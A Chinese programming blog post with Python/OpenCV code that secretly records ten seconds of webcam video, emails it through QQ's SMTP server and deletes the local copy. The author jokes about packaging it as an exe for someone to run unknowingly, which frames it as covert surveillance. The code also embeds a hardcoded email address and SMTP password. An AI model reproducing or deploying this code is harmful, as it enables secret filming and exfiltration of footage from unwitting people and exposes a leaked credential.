编程语言
首页 > 编程语言> > Python | OpenCV实现视频抓拍并发送至邮箱

Python | OpenCV实现视频抓拍并发送至邮箱

作者:互联网

简单说一下,大概的代码实现过程:

首先,必须保证电脑带有摄像头并且为打开状态(联网是基本前提),就是没有被遮挡;然后,你就可以运行代码了,代码会自动调用电脑摄像头,并开始拍摄视频,视频暂时保存在于py文件同路径(可自行更改);最后,通过smtplib模块,实现邮件发送功能。

开个小玩笑,比如我们将此代码打包成一个exe文件,当某人不知情的情况下双击了这个文件,O(∩_∩)O哈哈~

当然前提是电脑摄像头得打开喔!

下面是代码实现:

import cv2
import time
import os
import glob
from PIL import Image
import numpy as np
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.header import Header


def capture():
    cap = cv2.VideoCapture(0)  # 打开摄像头
    out = cv2.VideoWriter('video.mp4', -1, 20.0, (640, 480))  # 帧率写入对象
    start = time.time()  # 开始视频拍摄计时
    while cap.isOpened():  # 当摄像头为打开状态,即循环
        ret, frame = cap.read()  # ret为true,frame为帧率图
        if ret:
            frame = cv2.flip(frame, 1)  # 将图片垂直对称
            out.write(frame)  # 帧率写入
        if time.time() - start >= 10:  # 拍摄时间大于10,跳出循环
            break
    cap.release()  # 释放资源
    out.release()  # 释放资源


def sending():
    sender = 'echohye@qq.com'  # 发件人的账号
    password = 'qynwvamzolcmdibe'  # 发件人的对应账号密码

    # 创建一个带附件的实例
    message = MIMEMultipart()
    message['From'] = Header("抓拍测试", 'utf-8')
    message['To'] = Header("测试", 'utf-8')
    subject = 'Python SMTP 邮件测试'
    message['Subject'] = Header(subject, 'utf-8')

    # 邮件正文内容
    message.attach(MIMEText('这是Python 邮件发送测试……', 'plain', 'utf-8'))

    # 构造附件1,传送当前目录下的 video.mp4 文件
    att1 = MIMEText(open('video.mp4', 'rb').read(), 'base64', 'utf-8')
    att1["Content-Type"] = 'application/octet-stream'
    # 这里的filename可以任意写,写什么名字,邮件中显示什么名字
    att1["Content-Disposition"] = 'attachment; filename="video.mp4"'
    message.attach(att1)
    try:
        smtpObj = smtplib.SMTP_SSL('smtp.qq.com', 465)
        smtpObj.login(sender, password)
        smtpObj.sendmail(sender, [sender], message.as_string())
        print('邮件发送成功')
    except smtplib.SMTPException:
        print("Error: 无法发送邮件")
    if os.path.exists("video.mp4"):
        os.remove("video.mp4")


if __name__ == '__main__':
    capture()
    print("程序还在运行,请耐心等待...")
    sending()

运行测试

代码整个实现流程大概这样,有兴趣的可以继续完善,不要干小坏事哟~

标签:Python,frame,OpenCV,mp4,video,抓拍,import,message,邮件
来源: https://www.cnblogs.com/echohye/p/15496500.html